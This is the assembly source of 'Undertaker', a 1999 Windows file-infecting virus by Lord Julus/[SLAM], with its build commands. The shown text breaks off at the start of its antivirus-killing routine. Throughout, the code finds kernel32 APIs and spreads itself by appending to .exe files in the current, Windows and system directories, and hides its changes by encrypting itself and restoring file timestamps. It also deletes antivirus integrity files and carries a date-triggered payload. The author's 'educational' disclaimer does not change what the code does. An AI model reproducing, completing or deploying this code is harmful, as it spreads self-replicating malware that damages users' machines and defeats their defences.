; Ŀ
;      Following you have the original article, spell checked, arranged   
;      and... with God's help, bug checked...                             
;                                                                         
;                                      Lord Julus - Feb. 1999             
; 

comment $

      
                          
                                 
                                
                       
                       
                               
                                   
                            

      

                        written by Lord Julus/[SLAM]
                                january 1999
                                  Beta 0.1

      

        DISCLAIMER:

        By  reading this you agree that you are the only one responsible if
 this  piece  of  code  escapes  in  the wild. This program was written for
 educational purposes only and as an object of study. Therefore, the author
 cannot  be  held responsible for any kind of data loss that comes from the
 use of this code.

      

        FEATURES:

        OS targets   :             Windows 95, Windows 98, Windows NT
        File targets :             Portable Executables
        Encrypted    :             Yes, very encrypted. Uses 2 levels of
                                   encryption, one being the FPU.Taylor
                                   encryption algorithm written by me.
        Polymorphic  :             Not yet... ;-(
        Methods      :              Kernel search :
                                            - import table search
                                            - memory scan
                                            - hardcoded value

                                    API search    :
                                            - scanning k32's export table

                                    File search   :
                                            - current directory
                                            - windows directory
                                            - system directory

                                    Appending     :
                                            - last section increase
        Payload      :             Graphical on 7th of the month
        Misc. stuff  :             - SEH frame
                                   - kill av files

        Notes        :             - the virus checks for support type;
                                     if it's not a Hard Disk it will only
                                     search the windows and system dirs;
                                     the first generation will only attack
                                     files in the current directory.

      

        HOWTO:

        tasm32  -ml -m3 undrtake.asm
        tlink32 -Tpe -aa -c undrtake.obj,,,import32.lib
        pewrsec undrtake.exe

      

                         Ŀ
                           Lord Julus (c) 1999  
                         

      

        $

.386p
.model flat
jumps

;Equates

true    equ 1
false   equ 0
debug   equ false      ; if true only 'goat*.exe' files are attacked
infect  equ true       ; infect files?
seh     equ true       ; SEH handler?
killav  equ true       ; Kill AV files?
payload equ true       ; Payload Active?

;External Procedures

extrn ExitProcess:PROC              ; these are needed to have the Kernel32
extrn GetModuleHandleA:PROC         ; and User32 imported in the first
extrn MessageBoxA:PROC              ; generation.

;Data Segment

.data                               ;
db 0                                ; dummy data

;Code Segment

.code                               ; code segment
                                    ;
start:                              ;
       call delta_handle            ; here we get the delta handle
                                    ;
delta_handle:                       ;
       pop ebp                      ;
       sub ebp, offset delta_handle ; delta handle in EBP
       mov ecx, (offset end_crypt-offset crypt_start) shr 2 ; prepare for
       lea edi, [ebp+offset crypt_start]                    ; decryption
       call Decrypt                 ; decrypt !!
                                    ;
crypt_start label                   ; first crypt level start
FPU_encrypt label                   ; second crypt level start
                                    ;
       if seh                               ; Set up a SEH frame
       mov eax, dword ptr fs:[00h]          ; get the original SEH pointer
       mov dword ptr [ebp+old_seh], eax     ; save old pointer
       lea eax, [ebp+return_to_host]        ; here is the new handler
       mov dword ptr [ebp+seh_handler], eax ;
       mov dword ptr fs:[00h], eax          ; store it!
       endif                                ;
                                            ;
       jmp overdata                         ; and jump to actual virus

;Actual Data

if seh                            ;
old_seh     dd 0                  ; old SEH pointer
seh_handler dd 0                  ; new SEH handler address
endif                             ;
                                  ;
gha       db "GetModuleHandleA",0 ; we search for this first to get the k32
gha_size  = $ - gha               ; size of string
kernel32  dd 00000000h            ; address of the kernel32 module
k32       db "kernel32.dll",0     ; full name of the kernel
                                  ;
new_image_base label              ; here we put the real image base
imagebase dd  00400000h           ; the default assumed image base
                                  ;
entrypoint       dd 0             ; original program's entrypoint
importvirtual    dd 0             ; import directory virtual address
importsize       dd 0             ; " " virtual size for checking boundaries
firstthunk       dd 0             ; first RVA address for a function
export           dd 0             ; address for export directory
basef            dd 0             ; base of functions
limit            dd 0             ; number of exported functions
AddFunc          dd 0             ; address of functions
AddName          dd 0             ; address of names
AddOrd           dd 0             ; address of ordinals
Nindex           dd 0             ; index of names
maphandle        dd 0             ; handle for file map
mapaddress       dd 0             ; address of the map
filehandle       dd 0             ; handle for file
fileattributes   dd 0             ; file attributes
fileofs          dd 0             ; pointer to filename
ftcreation       dq 0             ; time values
ftlastwrite      dq 0             ;
ftlastaccess     dq 0             ;
                                  ;
oldip            dd 0             ; the old IP of the victim
newEIP           dd 0             ; new EIP
LastSection      dd 0             ; last section address
sectionalign     dd 0             ; section alignment
filealign        dd 0             ; file alignment
SectionNo        dd 0             ; number of sections
SectionTable     label            ; The Section table
Name_            db '00000000'    ; section name
VirtualSize      dd 0             ; --> \
VirtualAddress   dd 0             ;      > these get altered
SizeOfRawData    dd 0             ; --> /
PointerToRawData dd 0             ;
Reserved1        dd 0             ;
Reserved2        dd 0             ;
Reserved3        dd 0             ;
Characteristics  dd 0             ; section flags
                                  ;
PEheader         dd 0             ; address of the victim's PE header
newfilesize      dd 0             ; the new filesize for victim
infectionflag    dw 0             ; good/bad
systemtime       dw 8 dup (0)     ; the time
                                  ;
crtdir           db 128h dup(0)   ; Current directory
windir           db 128h dup(0)   ; Windows directory
sysdir           db 128h dup(0)   ; System directory
                                  ;
if debug                          ;
exestr           db "goat*.exe",0 ; file mask to infect
else                              ;
exestr           db "*.exe", 0    ;
endif                             ;
infections       dd 0             ; infection number
memory           dd 0             ; memory to map
crt_dir_flag     db 0             ; can we infect the current dir?

av1              db "AVP.CRC"     , 0  ; the av files to kill
av2              db "IVP.NTZ"     , 0  ;
av3              db "Anti-Vir.DAT", 0  ;
av4              db "CHKList.MS"  , 0  ;
av5              db "CHKList.CPS" , 0  ;
av6              db "SmartCHK.MS" , 0  ;
av7              db "SmartCHK.CPS", 0  ;
av_end           db 0FFh               ;
av_list          dd offset av1         ;
                 dd offset av2         ;
                 dd offset av3         ;
                 dd offset av4         ;
                 dd offset av5         ;
                 dd offset av6         ;
                 dd offset av7         ;
                 dd offset av_end      ;
                                       ;
viruslen         equ end-start         ; virus size... Duh !

windowtitle   label
db "UNDERTAKER 1.0 (c) 1999 Lord Julus/[SLAM]", 0

windowmessage label
db 13,10, "                 And the time of the  Undertaker has come                ", 13, 10
db 13,10, "                   call our funeral services at (666)-DEVIL.               ", 13, 10
db 13,10, "                                      Always open !!                              ", 13, 10, 0

u32             db "user32.DLL", 0
user32          dd 0
AMessageBox     db "MessageBoxA", 0
AMessageBoxA    dd 0

copyright        db "       UnderTaker v.1.0       "
                 db " (C) Lord Julus / [SLAM] 1999 "

;Other data

max_path EQU 260                                  ; max length of filename
                                                  ;
filetime                        struc             ; filetime structure
        FT_dwLowDateTime        dd ?              ;
        FT_dwHighDateTime       dd ?              ;
filetime                        ends              ;
                                                  ;
win32_find_data                 struc             ;
        FileAttributes          dd ?              ; attributes
        CreationTime            filetime ?        ; time of creation
        LastAccessTime          filetime ?        ; last access time
        LastWriteTime           filetime ?        ; last modificationm
        FileSizeHigh            dd ?              ; filesize
        FileSizeLow             dd ?              ; -"-
        Reserved0               dd ?              ;
        Reserved1_              dd ?              ;
        FileName                db max_path dup (?) ; long filename
        AlternateFileName       db 13 dup (?)     ; short filename
                                db 3 dup (?)      ; dword padding
win32_find_data                 ends              ;
                                                  ;
search    win32_find_data ?                       ; our search area

FILE_MAP_ALL_ACCESS Equ 01h or 02h or 04h or 08h or 10h ; access to map

;APIs

First_API:                                        ; Here we have the names
AGetProcAddress      db "GetProcAddress",0        ; of the APIs this program
AExitProcess         db "ExitProcess",0           ; is about to use
AFindFirstFileA      db "FindFirstFileA",0        ;
AFindNextFileA       db "FindNextFileA",0         ;
AGetCurrentDirectory db "GetCurrentDirectoryA",0  ;
ACreateFileMapping   db "CreateFileMappingA",0    ;
AMapViewOfFile       db "MapViewOfFile",0         ;
AUnmapViewOfFile     db "UnmapViewOfFile",0       ;
AGetFileAttributes   db "GetFileAttributesA",0    ;
ASetFileAttributes   db "SetFileAttributesA",0    ;
AGetDriveType        db "GetDriveTypeA",0         ;
ACreateFile          db "CreateFileA",0           ;
ACloseHandle         db "CloseHandle",0           ;
AGetFileTime         db "GetFileTime",0           ;
ASetFileTime         db "SetFileTime",0           ;
ASetFilePointer      db "SetFilePointer",0        ;
AGetFileSize         db "GetFileSize",0           ;
ASetEndOfFile        db "SetEndOfFile",0          ;
AGetSystemTime       db "GetSystemTime",0         ;
AGetModuleHandle     db "GetModuleHandleA",0      ;
AGetWindowsDirectory db "GetWindowsDirectoryA",0  ;
AGetSystemDirectory  db "GetSystemDirectoryA",0   ;
ASetCurrentDirectory db "SetCurrentDirectoryA", 0 ;
ADeleteFile          db "DeleteFileA", 0          ;
                     db 0FFh                      ;
                                                  ;
API_A:                                            ; and here are the addresses
AGetProcAddressA      dd 0                        ; that we found
AExitProcessA         dd 0                        ;
AFindFirstFileAA      dd 0                        ;
AFindNextFileAA       dd 0                        ;
AGetCurrentDirectoryA dd 0                        ;
ACreateFileMappingA   dd 0                        ;
AMapViewOfFileA       dd 0                        ;
AUnmapViewOfFileA     dd 0                        ;
AGetFileAttributesA   dd 0                        ;
ASetFileAttributesA   dd 0                        ;
AGetDriveTypeA        dd 0                        ;
ACreateFileA          dd 0                        ;
ACloseHandleA         dd 0                        ;
AGetFileTimeA         dd 0                        ;
ASetFileTimeA         dd 0                        ;
ASetFilePointerA      dd 0                        ;
AGetFileSizeA         dd 0                        ;
ASetEndOfFileA        dd 0                        ;
AGetSystemTimeA       dd 0                        ;
AGetModuleHandleA     dd 0                        ;
AGetWindowsDirectoryA dd 0                        ;
AGetSystemDirectoryA  dd 0                        ;
ASetCurrentDirectoryA dd 0                        ;
ADeleteFileAA         dd 0                        ;

;The Real Start...

overdata:
       mov esi, [ebp+offset imagebase]   ; get image base
       cmp word ptr [esi], 'ZM'          ; check if image is correct
       jne getout                        ;
       add esi, 3ch                      ; point to new header address
       mov esi, [esi]                    ; get it
       add esi, [ebp+offset imagebase]   ; align to imagebase
       push esi                          ;
       cmp word ptr [esi], 'EP'          ; is PE there ?
       jne getout                        ;
       add esi, 28h                      ; get progs' entrypoint
       mov eax, [esi]                    ;
       mov [ebp+entrypoint], eax         ; and save it
       pop esi                           ;
       add esi, 80h                      ; get import directory address
       mov eax, [esi]                    ;
       mov [ebp+importvirtual], eax      ; save import directory address...
       mov eax, [esi+4]                  ;
       mov [ebp+importsize], eax         ; ...and size
       mov esi, [ebp+importvirtual]      ;
       add esi, [ebp+offset imagebase]   ; esi points to the import directory
       mov ebx, esi                      ;
       mov edx, esi                      ; ESI: where from to search...
       add edx, [ebp+importsize]         ; EDX: the limit
                                         ;
searchkernel:                            ;
       mov esi, [esi+0ch]                ; get an entry
       add esi, [ebp+offset imagebase]   ; align
       cmp [esi], 'NREK'                 ; is it KERNEL32 ?
       je foundit                        ;
       add ebx, 14h                      ; nope... get next entry
       mov esi, ebx                      ;
       cmp esi, edx                      ; did we go over limit ?
       jg notfound                       ;
                                         ;
foundit:                                 ; Here we found the Kernel !
       mov esi, ebx                      ;
       mov ebx, [esi+10h]                ; let's get the First Thunk there
       add ebx, [ebp+offset imagebase]   ; always align to our imagebase
       mov [ebp+offset firstthunk], ebx  ; save the first thunk
       mov eax, [esi]                    ;
       jz notfound                       ; if 0 -> bad... (import end)
                                         ;
searchgha:                               ;
       mov esi, [esi]                    ; let's search GetModuleHandle...
       add esi, [ebp+offset imagebase]   ;
       mov edx, esi                      ;
       mov ecx, [ebp+offset importsize]  ;
       mov eax, 0                        ;
                                         ;
lookloop:                                ;
      cmp dword ptr [edx], 0             ; the end ?
      je notfound                        ;
      cmp byte ptr [edx+3], 80h          ; ordinal ?
      je nothere                         ;
      mov esi, [edx]                     ;
      push ecx                           ;
      add esi, [ebp+offset imagebase]    ;
      add esi, 2                         ;
      mov edi, offset gha                ;
      add edi, ebp                       ;
      mov ecx, gha_size                  ;
      rep cmpsb                          ; compare strings...
      pop ecx                            ;
      je  foundgha                       ; if equal, we found it !
                                         ;
nothere:                                 ;
      inc eax                            ; get next, otherwise...
      add edx, 4                         ;
      loop lookloop                      ;
      jmp notfound                       ; if we are out of the loop, we
                                         ; didn't find it!
foundgha:                                ; Got it !!
      shl eax, 2                         ; multiply by 2
      mov ebx, [ebp+offset firstthunk]   ;
      add eax, ebx                       ; and add to first thunk
      mov eax, [eax]                     ; get the address there
      mov edx, offset k32                ; Eax = address for GetModuleHandleA
      add edx, ebp                       ;
      push edx                           ; push the Kernel32 name
      call eax                           ; and get it's address
      cmp eax, 0                         ; is it a fail ?
      jne found                          ;
                                         ;
notfound:                                ; If kernel32 cannot be located in
       mov eax, dword ptr [esp]          ; the import table we need to scan
                                         ; the memory downwards.
find_base_loop:                          ;
       cmp dword ptr [eax+0b4h], eax     ; if we're at base, then
       je found                          ; offset 0b4h contains kernel32
       dec eax                           ; base
       cmp eax, 40000000h                ; here is the kernel limit (cannot
       jbe assume_hardcoded              ; be below)
       jmp find_base_loop                ;
                                         ;
assume_hardcoded:                        ;
      mov eax, 0BFF70000h                ; if fail, assume hardcoded kernel
      cmp word ptr [eax], 'ZM'           ; really win95/98 k32?
      je found                           ;
      mov eax, 07FFF0000h                ; try the NT hardcoded kernel value
                                         ;
found:                                   ;
      mov [ebp+offset kernel32], eax     ; save the Kernel address
                                         ;
      mov edi, eax                       ; check if it's really the k32 there
      cmp word ptr [edi], 'ZM'           ; magic word...
      jne getout                         ;
                                         ;
      mov edi, [edi+3ch]                 ; look for...
      add edi, [ebp+offset kernel32]     ;
      cmp word ptr [edi], 'EP'           ; ...Portable Exe signature
      jne getout                         ;
                                         ;
      pushad                             ; save all regs !
      mov esi, [edi+78H]                 ; 78H = address for the export dir
      add esi, [ebp+offset kernel32]     ; normalize
      mov [ebp+offset export], esi       ; save it
      add esi, 10H                       ; look for base of functions
      lodsd                              ;
      mov [ebp+offset basef], eax        ; get base of the functions
      lodsd                              ; Number of Functions
      lodsd                              ; Number of Names
      mov [ebp+offset limit], eax        ; save the number of names
      add eax, [ebp+offset kernel32]     ;
      lodsd                              ; Address of Functions
      add eax, [ebp+offset kernel32]     ;
      mov [ebp+offset AddFunc],eax       ;
      lodsd                              ;
      add eax, [ebp+offset kernel32]     ;
      mov [ebp+offset AddName], eax      ; Address of Names
      lodsd                              ;
      add eax, [ebp+offset kernel32]     ;
      mov [ebp+offset AddOrd], eax       ; Address of Ordinals
      mov esi,[ebp+offset AddFunc]       ;
      lodsd                              ;
      add eax, [ebp+offset kernel32]     ;
                                         ;
      mov esi, [ebp+offset AddName]      ; get the first rva pointer to a name
      mov [ebp+offset Nindex], esi       ; index into the name array
      mov edi, [esi]                     ; now make it a true pointer to the
      add edi, [ebp+offset kernel32]     ; name by adding the offset
      mov ecx, 0                         ; sets the counter to 0
      mov ebx, offset First_API          ; Set starting address
      add ebx, ebp                       ;
                                         ;
tryagain:                                ;
      mov esi, ebx                       ; what function we are looking for
                                         ;
matchbyte:                               ;
      cmpsb                              ; do we have a byte match ?
      jne nextone                        ; no! Try next name of function
                                         ;
      cmp byte ptr [edi], 0              ; did the entire string match ?
      je gotit                           ; YES !
      jmp matchbyte                      ; nope... try next byte
                                         ;
nextone:                                 ;
      inc cx                             ; increment counter
      cmp cx, word ptr [ebp+offset limit]; check limit override
      jge getout                         ;
                                         ;
      add dword ptr [ebp+offset Nindex], 4; get the next pointer rva
      mov esi, [ebp+offset Nindex]       ; and try again
      mov edi, [esi]                     ;
      add edi, [ebp+offset kernel32]     ;
      jmp tryagain                       ;
                                         ;
; Here we assume this:
;      cx = the index into the Address of Ordinals
;      take Name_index * 4 + [AddOrd] = Ordinal
;      Ordinal * 4 + [Address of Functions] should be the rva to the fuction

gotit:                                   ;
      mov ebx, esi                       ; get set for next search routine
      inc ebx                            ;
      shl ecx, 1                         ; *2 looking into a word array
      mov esi, [ebp+offset AddOrd]       ;
      add esi, ecx                       ;
      xor eax, eax                       ;
      mov ax, word ptr [esi]             ;
      shl eax, 2                         ; *4 looking into a dword array
      mov esi, [ebp+offset AddFunc]      ;
      add esi, eax                       ;
      mov edi, dword ptr [esi]           ;
      add edi, [ebp+offset kernel32]     ;
                                         ;
      mov [ebp+offset AGetProcAddressA], edi   ; our goal: GETPROCADDRESS !
                                         ;
      popad                              ; restore registers
                                         ;
      mov esi, offset AExitProcess       ; and start retrieving all the apis
      mov edi, offset AExitProcessA      ; we need !
      add esi, ebp                       ;
      add edi, ebp                       ;
                                         ;
Repeat_find_apis:                        ;
      push esi                           ; find an API
      mov eax, [ebp+offset kernel32]     ;
      push eax                           ;
      call dword ptr [ebp+offset AGetProcAddressA]
      cmp eax, 0                         ; check if an API find failed
      je getout                          ;
      stosd                              ; store it's address
                                         ;
repeat_inc:                              ;
      inc esi                            ; go to the next API name
      cmp byte ptr [esi], 0              ;
      jne repeat_inc                     ;
      inc esi                            ;
      cmp byte ptr [esi], 0FFh           ; and check for the end
      jne Repeat_find_apis               ;
                                         ;
      call Main_checks                   ; Do some checking
      call Infect_directories            ; Infect the directories...
      if payload                         ;
      call Payload                       ;
      endif                              ;
                                         ;
getout:                                  ;
return_to_host:                          ;
      if seh                             ; restore SEH handler
      mov eax, dword ptr [ebp+old_seh]   ;
      mov dword ptr fs:[00h], eax        ;
      endif                              ;
                                         ;
      cmp ebp, 0                         ; first generation ?
      je exit_now                        ;
      mov eax, [ebp+offset oldip]        ; restore old IP
      add eax, [ebp+offset imagebase]    ; align to memory
      jmp eax                            ; and run host...
                                         ;
exit_now:                                ;
      push 0                             ;
      call dword ptr [ebp+offset AExitProcessA]
                                         ;

;The Main Checks

Main_checks proc near                    ;
      push 0                             ;
      call dword ptr [ebp+offset AGetDriveTypeA] ; Get the drive type
      cmp eax, 3                         ; do we have a fixed disk ?
      jne not_crt_dir                    ;
      mov byte ptr [ebp+crt_dir_flag], 1 ;
      jmp go_on_1                        ;
                                         ;
not_crt_dir:                             ;
      mov byte ptr [ebp+crt_dir_flag], 0 ;
                                         ;
go_on_1:                                 ;
      ret                                ;
Main_checks endp                         ;

;Infection Routines

Infect_directories proc near
      push  128                          ; Get Windows directory
      lea eax, [ebp+offset windir]       ;
      push eax                           ;
      call dword ptr [ebp+offset AGetWindowsDirectoryA]
                                         ;
      push  128                          ; Get System directory
      lea eax, [ebp+offset sysdir]       ;
      push eax                           ;
      call dword ptr [ebp+offset AGetSystemDirectoryA]
                                         ;
      lea eax, [ebp+offset crtdir]       ; Get Current directory
      push eax                           ;
      push 128                           ;
      call dword ptr [ebp+offset AGetCurrentDirectoryA]
                                         ;
      cmp byte ptr [ebp+crt_dir_flag], 0 ; are we on a fixed disk?
      je direct_to_windows               ;
      mov dword ptr [ebp+offset infections], 3 ; infect 3 files there
      call infect_current_dir            ;
                                         ;
direct_to_windows:                       ;
      cmp ebp, 0                         ; first generation?
      je back_to_current_dir             ;
      lea eax, [ebp+offset windir]       ; Change to Windows directory
      push eax                           ;
      call dword ptr [ebp+offset ASetCurrentDirectoryA]
                                         ;
      mov dword ptr [ebp+offset infections], 3 ; infect 3 files there
      call infect_current_dir            ;
                                         ;
      lea eax, [ebp+offset sysdir]       ; Change to System directory
      push eax                           ;
      call dword ptr [ebp+offset ASetCurrentDirectoryA]
                                         ;
      mov dword ptr [ebp+offset infections], 3 ; infect 3 files there
      call infect_current_dir            ;
                                         ;
back_to_current_dir:                     ;
      lea eax, [ebp+offset crtdir]       ; Change back to current directory
      push eax                           ;
      call dword ptr [ebp+offset ASetCurrentDirectoryA]
                                         ;
      ret                                ;
Infect_directories endp                  ;

;Current Directory Infection

infect_current_dir proc near              ; This infects the current dir
      lea edi, [ebp+offset search]        ; point to Search Record
      mov eax, edi                        ;
      push eax                            ;
      lea eax, [ebp+offset exestr]        ;
      push eax                            ;
      call dword ptr [ebp+offset AFindFirstFileAA] ; find first match
                                          ;
      cmp eax, 0FFFFFFFFh                 ; check for EAX = -1
      je no_files                         ;
      push eax                            ; save handle
      lea esi, [edi.FileName]             ; ESI = pointer to filename...
      mov ecx, [edi.FileSizeLow]          ; ECX = filesize
      if infect                           ;
      call Infect_File                    ; infect file...
      endif                               ;
      jc Another_file                     ;
      dec dword ptr [ebp+offset infections] ; decrement infection count
      cmp word ptr [ebp+offset infections], 0
      je All_done                         ;
                                          ;
Another_file:                             ;
      push edi                            ;
      lea edi, [edi.FileName]             ; We have to clean up the area
      mov ecx, 13d                        ; the new filename will appear on,
      mov al, 0                           ; otherwise shit remains before the
      rep stosb                           ; extension...
      pop edi                             ;
      pop eax                             ;
      push eax                            ;
      push edi                            ; push find zone
      push eax                            ; push handle
      call dword ptr [ebp+offset AFindNextFileAA]
                                          ;
      test eax, eax                       ; no more files ?
      jz All_done                         ;
      lea esi, [edi.FileName]             ; ESI = pointer to filename...
      mov ecx, [edi.FileSizeLow]          ;
      Call Infect_File                    ; infect file...
      jc failinfection                    ;
      dec dword ptr [ebp+infections]      ; decrement infection count
                                          ;
failinfection:                            ;
      cmp dword ptr [ebp+infections], 0   ; done ?
      jne Another_file                    ;
                                          ;
All_done:                                 ;
      pop eax                             ;
no_files:                                 ;
      if killav                           ;
      call kill_av_files                  ; try killing the av files in the
      endif                               ; current directory
      ret                                 ;
infect_current_dir endp                   ;

;PE file infection procedure

Infect_File Proc Near
      pushad                                 ; save all registers
      mov dword ptr [ebp+newfilesize], ecx   ; save the initial filesize
      mov word ptr [ebp+infectionflag], 0    ; reset infection flag
      add ecx, viruslen                      ; ecx = victim filesize + virus
      add ecx, 1000h                         ; + 1000h
      mov [ebp+offset memory], ecx           ; this will give us the memory
                                             ; to map...
      mov [ebp+offset fileofs], esi          ; esi = pointer to filename

; Save file's original attributes and set new ones

      push esi                               ; save it
      call dword ptr [ebp+AGetFileAttributesA]; Get the file attributes
      cmp eax, 0                             ;
      je error1                              ;
      mov [ebp+fileattributes], eax          ; save them
                                             ;
error1:                                      ;
      push 80h                               ;
      push esi                               ;
      call dword ptr [ebp+offset ASetFileAttributesA] ; set them as normal
                                             ;

; About to Open the File (ESI = pointer to filename)

      push 0                                 ; file attributes
      push 0                                 ; ""
      push 3                                 ; OPEN EXISTING File
      push 0                                 ; Security option = default
      push 1                                 ; File share for read
      push 80000000h or 40000000h            ; General write and read
      push esi                               ; pointer to filename
      call dword ptr [ebp+offset ACreateFileA];
                                             ;
      mov [ebp+offset filehandle], eax       ; EAX = file handle
      cmp eax, -1                            ;
      je infection_error                     ; can't open file ?!?

; Save file's creation, last write, last access time

      mov ebx, offset ftcreation             ; save all 3 types of time
      add ebx, ebp                           ;
      push ebx                               ;
      add ebx, 8                             ;
      push ebx                               ;
      add ebx, 8                             ;
      push ebx                               ;
      push eax                               ;
      call dword ptr [ebp+AGetFileTimeA]     ;
                                             ;
      push 0                                 ; save the filesize for later
      push dword ptr [ebp+offset filehandle] ;
      call dword ptr [ebp+AGetFileSizeA]     ;
      mov dword ptr [ebp+offset newfilesize], eax

; About to create the file mapping for the file

      push 0                                 ; filename handle = NULL
      push dword ptr [ebp+offset memory]     ; max size
      push 0                                 ; min size (no need)
      push 4                                 ; Page read & write
      push 0                                 ; security attributes
      push dword ptr [ebp+offset filehandle] ;
      call dword ptr [ebp+offset ACreateFileMappingA] ; Map file !
                                             ; Eax = new handle
      mov [ebp+offset maphandle], eax        ;
      cmp eax, 0                             ;
      je close_file                          ; can't map file ?!?
                                             ;
; About to map the view of the file          ;
                                             ;
      push dword ptr [ebp+offset memory]     ; bytes to map
      push 0                                 ; blah, blah, blah...
      push 0                                 ; ;-)
      push 2                                 ; File Map Write Mode
      push eax                               ; File Map Handle
      call dword ptr [ebp+offset AMapViewOfFileA] ; Call API
                                             ;
      cmp eax, 0                             ;
      je close_map                           ; can't map view of file ?!?
      mov esi, eax                           ; ESI = base of map...
      mov [ebp+offset mapaddress], esi       ;
                                             ;
; Now the file is ready to work on at ESI !  ;
                                             ;
      cmp word ptr [esi], 'ZM'               ; Exe file ?
      jne Unmap_view                         ;
      cmp word ptr [esi+38h], 'UT'           ; Already infected ?
      jne ok_go                              ;
      mov word ptr [ebp+offset infectionflag], 0FFh ; mark it...
      jmp Unmap_view                         ;
                                             ;
ok_go:                                       ;
      mov ebx, dword ptr [esi+3ch]           ;
      cmp word ptr [esi+ebx], 'EP'           ; Portable Exe ?
      jne Unmap_view                         ;
      add esi, ebx                           ; ESI points to PE header
                                             ;
      mov [ebp+offset PEheader], esi         ;
      mov eax, [esi+28h]                     ; save IP of file
      mov [ebp+offset oldip], eax            ;
      mov eax, [esi+38h]                     ; save file alignement
      mov [ebp+offset sectionalign], eax     ;
      mov eax, [esi+3ch]                     ; save file alignement
      mov [ebp+offset filealign], eax        ;
                                             ;
      mov ebx, [esi+74h]                     ; No. of directories entries
      mov [ebp+offset SectionNo], ebx        ;
      shl ebx, 3                             ; * 8 (size)
      xor eax, eax                           ;
      mov ax, word ptr [esi+6h]              ; no. of sections
      dec eax                                ; we look for the last's ending
      mov ecx, 28h                           ; size of sections' header
      mul ecx                                ; EAX = ECX * EBX
      add esi, 78h                           ;
      add esi, ebx                           ;
      add esi, eax                           ; ESI = Pointer to the last
      mov dword ptr [ebp+LastSection], esi   ;
                                             ;
      lea edi, [ebp+offset SectionTable]     ; where to copy
      cld                                    ;
      rep movsb                              ; Copy Section
                                             ;
      call random32                          ;
      mov byte ptr [ebp+offset FPU_key], al  ;
                                             ;
      mov edi, [ebp+offset PointerToRawData] ; We are about to copy our
      add edi, [ebp+offset VirtualSize]      ; virus to the end of the last
      mov dword ptr [ebp+newEIP], edi        ; section
      add edi, [ebp+mapaddress]              ;
      lea esi, [ebp+offset start]            ;
      push edi                               ;
      mov ecx, viruslen                      ;
      rep movsb                              ;
                                             ;
      pop edi                                ;
                                             ;
      pusha                                  ; crypt virus using FPU algo
      mov ebx, edi                           ;
      add ebx, (offset FPU_encrypt - offset start)
      call FPU_Crypt                         ;
      popa                                   ;
                                             ;
      push edi                               ;
      add edi, (offset crypt_start - offset start)         ; crypt virus w/
      mov ecx, (offset end_crypt-offset crypt_start) shr 2 ; normal algo
      call Crypt                             ;
      mov eax, dword ptr [ebp+offset key]    ;
      pop edi                                ;
      add edi, (offset key - offset start)   ;
      mov dword ptr [edi], eax               ;
                                             ;
      mov esi, dword ptr [ebp+LastSection]   ; point the original section
      mov eax, [esi+16]                      ; Get OldSizeOfRawData
      add eax, viruslen                      ; increase SizeOfRawData
      mov ecx, dword ptr [ebp+filealign]     ; and align it to the file
      push eax                               ; alignment
      push ecx                               ;
      xor edx, edx                           ;
      div ecx                                ;
      pop ecx                                ;
      sub ecx, edx                           ;
      pop eax                                ;
      add eax, ecx                           ;
      mov dword ptr [ebp+SizeOfRawData], eax ; and store it
      mov eax, dword ptr [ebp+VirtualSize]   ; and now increase VirtualSize
      add eax, viruslen                      ; with the virus length
      mov dword ptr [ebp+VirtualSize], eax   ;
                                             ;
      or dword ptr [ebp+Characteristics],00000020h ; Set flags: code,
      or dword ptr [ebp+Characteristics],20000000h ;            executable,
      or dword ptr [ebp+Characteristics],80000000h ;            writable
                                             ;
      xchg edi, esi                          ; Write the new section
      lea esi, [ebp+SectionTable]            ; to the file
      mov ecx, 40                            ;
      rep movsb                              ;
                                             ;
      mov esi, dword ptr [ebp+PEheader]      ;
      mov eax, dword ptr [esi+50h]           ; Get OldSizeOfImage
      add eax, viruslen                      ; increase it and then
      mov ecx, dword ptr [ebp+sectionalign]  ; align it to the section
      push eax                               ; alignement
      push ecx                               ;
      xor edx, edx                           ;
      div ecx                                ;
      pop ecx                                ;
      sub ecx, edx                           ;
      pop eax                                ;
      add eax, ecx                           ;
      mov dword ptr [esi+50h], eax           ;
                                             ;
      mov eax, dword ptr [ebp+VirtualAddress]; And find out the new entry
      add eax, dword ptr [ebp+VirtualSize]   ; point
      sub eax, viruslen                      ;
      mov dword ptr [esi+28h], eax           ;
                                             ;
      mov eax, [esi+034h]                    ; align the new imagebase
      mov dword ptr [ebp+offset new_image_base], eax;
                                             ;
      mov esi, [ebp+offset mapaddress]       ; mark file as infected
      mov word ptr [esi+38h], 'UT'           ;
                                             ;
      mov eax, dword ptr [ebp+newfilesize]   ; calculate new file size
      add eax, viruslen                      ; by adding the virus length
      mov ecx, dword ptr [ebp+filealign]     ; and rounding it up to the
      push eax                               ; file alignement
      push ecx                               ;
      xor edx, edx                           ;
      div ecx                                ;
      pop ecx                                ;
      sub ecx, edx                           ;
      pop eax                                ;
      add eax, ecx                           ;
      mov dword ptr [ebp+newfilesize], eax   ;
                                             ;
; Let's release it all now...                ;
                                             ;
Unmap_view:                                  ; first unmap the view
      push dword ptr [ebp+offset mapaddress] ;
      call dword ptr [ebp+AUnmapViewOfFileA] ;
                                             ;
close_map:                                   ;
      push dword ptr [ebp+offset maphandle]  ; then close the map handle
      call dword ptr [ebp+ACloseHandleA]     ;
                                             ;
close_file:                                  ; then close file handle,
      mov ebx, offset ftcreation             ; but first restore it's
      add ebx, ebp                           ; original date and time
      push ebx                               ;
      add ebx, 8                             ;
      push ebx                               ;
      add ebx, 8                             ;
      push ebx                               ;
      push dword ptr [ebp+offset filehandle] ;
      call dword ptr [ebp+ASetFileTimeA]     ;
                                             ;
      push 0                                 ; first we must set the file
      push 0                                 ; pointer at the end of file
      push dword ptr [ebp+offset newfilesize]; (that is the beginning +
      push dword ptr [ebp+offset filehandle] ;  new file size)
      call dword ptr [ebp+offset ASetFilePointerA] ;
                                             ;
      push dword ptr [ebp+offset filehandle] ; ...and then mark the end of
      call dword ptr [ebp+offset ASetEndOfFileA]   ; file...
                                             ;
      push dword ptr [ebp+offset filehandle] ; now, close !
      call dword ptr [ebp+ACloseHandleA]     ;
                                             ;
; Restore File Attributes

      push dword ptr [ebp+offset fileattributes]
      push dword ptr [ebp+offset fileofs]    ;
      call dword ptr [ebp+offset ASetFileAttributesA]
      jmp infection_succesful                ;
                                             ;
infection_error:                             ;
      stc                                    ; CF set if an error occured
      jmp outahere                           ; or file was already infected
                                             ;
infection_succesful:                         ;
      cmp word ptr [ebp+offset infectionflag], 0FFh
      je infection_error                     ;
      clc                                    ; if all is ok, CF is reset
                                             ;
outahere:                                    ;
      popad                                  ; restore registers
      ret                                    ;
Infect_File Endp                             ;
                                             ;
                                             ;
kill_av_files proc near                      ;
      pusha                                  ;
